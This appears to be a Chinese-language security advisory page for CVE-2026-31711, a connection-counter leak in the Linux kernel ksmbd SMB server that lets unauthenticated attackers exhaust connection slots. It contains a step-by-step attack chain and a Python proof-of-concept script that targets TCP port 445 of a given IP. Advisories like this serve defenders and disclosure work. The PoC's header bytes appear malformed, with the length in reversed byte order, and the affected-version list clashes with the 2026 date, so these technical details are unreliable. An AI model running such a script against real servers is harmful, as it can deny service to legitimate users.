IPBUF安全漏洞报告
English
CVE-2026-31711 CVSS 7.5 高危

CVE-2026-31711: Linux内核ksmbd连接泄漏漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31711
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernelksmbd拒绝服务资源泄漏CVE-2026-31711

漏洞概述

Linux内核SMB服务器(ksmbd)组件中存在一个资源管理漏洞。在处理新连接时,如果传输层分配失败,代码未能正确回滚已增加的活动连接计数器。未经身份验证的攻击者可通过反复触发此分配失败路径,永久消耗服务器的最大连接配额,最终导致合法用户无法建立SMB连接,造成拒绝服务。

技术细节

该漏洞位于Linux内核的ksmbd服务器模块中,具体表现为`active_num_conn`计数器的泄漏。在`ksmbd_kthread_fn`函数处理新连接时,系统首先增加`active_num_conn`计数,然后调用`ksmbd_tcp_new_connection`。如果`alloc_transport`函数因内存不足返回NULL,原代码直接释放socket并返回错误,但未执行减少计数的操作。这意味着每次分配失败都会永久占用一个连接槽位。攻击者无需认证,只需向TCP 445端口发起连接,并通过发送大长度的RFC1002头部或利用系统内存压力,即可诱发`alloc_transport`失败。当泄漏的槽位累积达到`server_conf.max_connections`上限时,服务器将拒绝所有后续连接请求,且只能通过重新加载模块恢复。

攻击链分析

STEP 1
侦察
攻击者扫描目标网络,寻找开启TCP 445端口且运行Linux内核ksmbd服务的主机。
STEP 2
资源消耗
攻击者向目标端口发起大量连接,并尝试发送特制的大长度数据包,迫使服务器进入内存压力状态。
STEP 3
触发漏洞
在内存分配失败时,ksmbd未能正确减少活动连接计数,导致计数器泄漏。
STEP 4
耗尽配额
重复上述过程,直到泄漏的连接数达到`max_connections`上限。
STEP 5
拒绝服务
服务器认为已达到最大连接数,开始拒绝所有新的合法连接请求。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import sys def trigger_leak(target_ip, target_port=445): """ PoC for CVE-2026-31711. Attempts to trigger the active_num_conn leak in ksmbd. This script connects to the target and sends a large header to potentially induce memory pressure/allocation failure. """ try: # Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Send a large RFC1002 length header to stress allocation # MAX_STREAM_PROT_LEN is 0x00FFFFFF # Sending a large header might trigger alloc_transport failure conditions # under memory pressure or specific configurations. large_length = 0x00FFFFFF # Constructing a minimal SMB2 negotiate request with large length # Note: Actual exploitation requires forcing alloc_transport() == NULL, # which usually needs concurrent memory pressure. header = bytes([large_length & 0xFF, (large_length >> 8) & 0xFF, (large_length >> 16) & 0xFF, 0x00]) s.send(header) print(f"[+] Packet sent to {target_ip}:{target_port}") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <target_ip>") sys.exit(1) trigger_leak(sys.argv[1])

影响范围

Linux Kernel < 5.10.216
Linux Kernel < 5.15.157
Linux Kernel < 6.1.89
Linux Kernel < 6.6.29
Linux Kernel < 6.8.8
Linux Kernel < 6.9-rc1

防御指南

临时缓解措施
在未升级内核前,可以通过防火墙规则严格限制访问TCP 445端口,仅允许可信IP地址连接,或者直接停止使用ksmbd服务转而使用用户态SMB实现(如Samba)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表